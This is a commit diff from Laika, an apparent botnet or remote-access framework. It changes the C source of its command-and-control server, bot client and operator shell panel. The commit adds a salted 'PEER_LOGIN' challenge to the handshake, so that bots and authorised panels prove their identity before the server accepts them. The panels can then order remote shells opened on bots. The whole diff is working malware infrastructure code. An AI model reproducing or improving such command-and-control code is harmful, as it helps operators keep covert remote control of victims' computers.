CNC, Lib, Bot, Shell: New 2nd stage handshake

- New packet, LAIKAPKT_PEER_LOGIN_REQ
- All peers must prove they have access to the sent pubkey by passing a challenge. A salt is now sent on the handshake response packet, which must be encrypted and sent back through the PEER_LOGIN packet
- Protcol minor version incremented to 0.4
This commit is contained in:
CPunch 2022-06-29 20:31:22 -05:00
parent db05f2eb13
commit 8092a636ca
12 changed files with 126 additions and 66 deletions

View File

@ -81,7 +81,7 @@ endif ()
# version details
set(LAIKA_VERSION_MAJOR 0)
set(LAIKA_VERSION_MINOR 3)
set(LAIKA_VERSION_MINOR 4)
message(STATUS "Building config file...")
configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/lib/include/lconfig.h)

View File

@ -8,10 +8,21 @@
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_bot *bot = (struct sLaika_bot *)uData;
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
uint8_t endianness = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);
/* sent PEER_LOGIN packet */
laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ);
laikaS_writeByte(&peer->sock, PEER_BOT);
laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n",
(endianness ? "TRUE" : "FALSE"));
}
@ -29,7 +40,7 @@ void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
laikaB_handleHandshakeResponse,
sizeof(uint8_t),
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
laikaB_handlePing,

View File

@ -4,11 +4,10 @@
#include "cnc.h"
#include "lpeer.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer);
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData);
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,

View File

@ -53,6 +53,7 @@ void laikaC_closeShell(struct sLaika_shellInfo *shell);
void laikaC_closeShells(struct sLaika_peer *peer);
void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handlePeerLoginReq(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);

View File

@ -84,12 +84,10 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
/* queue response */
laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES);
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
laikaS_write(&peer->sock, peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);
/* handshake (mostly) complete */
laikaC_onAddPeer(cnc, peer);
LAIKA_DEBUG("accepted handshake from peer %p\n", peer);
/* handshake (mostly) complete, we now wait for the PEER_LOGIN packets */
}
void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
@ -113,9 +111,9 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
laikaC_handlePing, \
0, \
false), \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
laikaC_handleAuthenticatedHandshake, \
sizeof(uint8_t), \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PEER_LOGIN_REQ, \
laikaC_handlePeerLoginReq, \
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN, \
false)
struct sLaika_peerPacketInfo laikaC_botPktTbl[LAIKAPKT_MAXNONE] = {
@ -217,17 +215,21 @@ void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)
int i;
GETPINFOFROMPEER(peer)->completeHandshake = true;
/* add peer to panels list (if it's a panel) */
if (peer->type == PEER_AUTH)
laikaC_addAuth(cnc, peer);
/* add to peer lookup map */
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
/* notify connected panels of the newly connected peer */
for (i = 0; i < cnc->authPeersCount; i++) {
laikaC_sendNewPeer(cnc->authPeers[i], peer);
}
/* add to peer lookup map */
hashmap_set(cnc->peers, &(tCNC_PeerHashElem){.pub = peer->peerPub, .peer = peer});
/* add peer to panels list (if it's a panel) */
if (peer->type == PEER_AUTH) {
laikaC_addAuth(cnc, peer);
/* send a list of peers */
laikaC_sendPeerList(cnc, peer);
}
}
void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer)

View File

@ -18,6 +18,11 @@ bool sendPanelPeerIter(struct sLaika_peer *peer, void *uData)
return true;
}
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
}
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
{
laikaS_startOutPacket(authPeer, LAIKAPKT_AUTHENTICATED_ADD_PEER_RES);
@ -46,33 +51,6 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
/* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
PEERTYPE type;
int i;
type = laikaS_readByte(&authPeer->sock);
switch (type) {
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(authPeer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("unauthorized panel!\n");
/* notify cnc */
laikaC_setPeerType(cnc, authPeer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", authPeer);
/* they passed! send list of our peers */
laikaC_iterPeers(cnc, sendPanelPeerIter, (void *)authPeer);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", authPeer->type);
}
}
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz,
void *uData)
{

View File

@ -129,6 +129,42 @@ void laikaC_closeShells(struct sLaika_peer *peer)
/* ================================[[ [Peer] Packet Handlers ]]================================= */
void laikaC_handlePeerLoginReq(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
PEERTYPE type;
int i;
/* read packet */
type = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
/* make sure the sent salt matches our copy (make sure they're not replaying packets) */
if (memcmp(saltBuf, peer->salt, LAIKA_HANDSHAKE_SALT_LEN))
LAIKA_ERROR("laikaC_handlePeerHandshake: Salt mismatch!\n");
switch (type) {
case PEER_BOT:
laikaC_setPeerType(cnc, peer, PEER_BOT);
break;
case PEER_AUTH:
/* check that peer's pubkey is authenticated */
if (!laikaK_checkAuth(peer->peerPub, cnc->authKeys, cnc->authKeysCount))
LAIKA_ERROR("laikaC_handlePeerHandshake: Unauthorized panel!\n");
/* notify cnc */
laikaC_setPeerType(cnc, peer, PEER_AUTH);
LAIKA_DEBUG("Accepted authenticated panel %p\n", peer);
break;
default:
LAIKA_ERROR("Unknown peerType [%d]!\n", type);
}
LAIKA_DEBUG("Peer login for %p accepted!\n", peer);
}
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo *)uData;

View File

@ -15,6 +15,8 @@
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
#define LAIKA_MAX_SHELLS 16
#define LAIKA_HANDSHAKE_SALT_LEN 32
/*
first handshake between peer & cnc works as so:
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
@ -44,19 +46,29 @@ enum
* LAIKAPKT_SIZE pktSize;
* LAIKAPKT_ID pktID;
*/
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
LAIKAPKT_HANDSHAKE_REQ,
/* first packet sent by peer & received by cnc */
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
* nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
* inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- peer's public cryptographic key
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
*/
LAIKAPKT_HANDSHAKE_RES,
/* layout of LAIKAPKT_HANDSHAKE_RES:
* uint8_t cncEndian;
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
*/
LAIKAPKT_PEER_LOGIN_REQ,
/* second packet sent by peer & received by cnc there is no response packet. the socket
connection will be closed if an unexpected peer type is provided. this is to prove that the peer
is the public key they say they are. */
/* layout of LAIKAPKT_PEER_LOGIN_REQ
* uint8_t peerType;
* uint8_t cncSalt[LAIKA_HANDSHAKE_SALT_LEN];
*/
LAIKAPKT_PINGPONG,
/* layout of LAIKAPKT_PINGPONG:
@ -78,12 +90,8 @@ enum
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* =======================================[[ Auth ]]======================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
/* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* char hostname[LAIKA_HOSTNAME_LEN];
@ -92,14 +100,15 @@ enum
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
/* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
response packet, shell is assumed to be open */
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ,
/* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be
* open */
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint16_t cols;

View File

@ -51,6 +51,7 @@ struct sLaika_peer
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
uint8_t salt[LAIKA_HANDSHAKE_SALT_LEN]; /* salt passed from the cnc's handshake response */
struct sLaika_pollList *pList; /* pollList we're activeList in */
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
void *uData; /* data to be passed to pktHandler */
@ -68,6 +69,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
void *onPollFailUData, void *uData);
void laikaS_freePeer(struct sLaika_peer *peer);
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt);
void laikaS_genSalt(struct sLaika_peer *peer);
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
LAIKAPKT_ID id); /* for sending packets with no body */

View File

@ -6,11 +6,11 @@ const char *laikaD_getPacketName(LAIKAPKT_ID id)
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_PEER_LOGIN_REQ",
"LAIKAPKT_PINGPONG",
"LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA",
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};

View File

@ -28,6 +28,9 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
memset(peer->inet, 0, LAIKA_INET_LEN);
memset(peer->ipStr, 0, LAIKA_IPSTR_LEN);
/* generate peer's salt */
laikaS_genSalt(peer);
return peer;
}
@ -37,6 +40,16 @@ void laikaS_freePeer(struct sLaika_peer *peer)
laikaM_free(peer);
}
void laikaS_setSalt(struct sLaika_peer *peer, uint8_t *salt)
{
memcpy(peer->salt, salt, LAIKA_HANDSHAKE_SALT_LEN);
}
void laikaS_genSalt(struct sLaika_peer *peer)
{
randombytes_buf(peer->salt, LAIKA_HANDSHAKE_SALT_LEN);
}
/* ===================================[[ Start/End Packets ]]=================================== */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)

View File

@ -41,9 +41,21 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1)
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
{
uint8_t saltBuf[LAIKA_HANDSHAKE_SALT_LEN];
uint8_t endianness = laikaS_readByte(&peer->sock);
laikaS_read(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
peer->sock.flipEndian = endianness != laikaS_isBigEndian();
/* set peer salt */
laikaS_setSalt(peer, saltBuf);
/* send PEER_LOGIN packet */
laikaS_startOutPacket(peer, LAIKAPKT_PEER_LOGIN_REQ);
laikaS_writeByte(&peer->sock, PEER_AUTH);
laikaS_write(&peer->sock, saltBuf, LAIKA_HANDSHAKE_SALT_LEN);
laikaS_endOutPacket(peer);
PRINTSUCC("Handshake accepted!\n");
}
@ -155,7 +167,7 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
shellC_handleHandshakeRes,
sizeof(uint8_t),
sizeof(uint8_t) + LAIKA_HANDSHAKE_SALT_LEN,
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
shellC_handlePing,
@ -280,12 +292,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port)
laikaS_endOutPacket(client->peer);
laikaS_setSecure(client->peer, true); /* after our handshake, all packet bodies are encrypted */
/* queue authenticated handshake request */
laikaS_startOutPacket(client->peer, LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ);
laikaS_writeByte(sock, PEER_AUTH);
laikaS_endOutPacket(client->peer);
/* the handshake requests will be sent on the next call to shellC_poll */
/* the handshake request will be sent on the next call to shellC_poll */
}
bool shellC_poll(tShell_client *client, int timeout)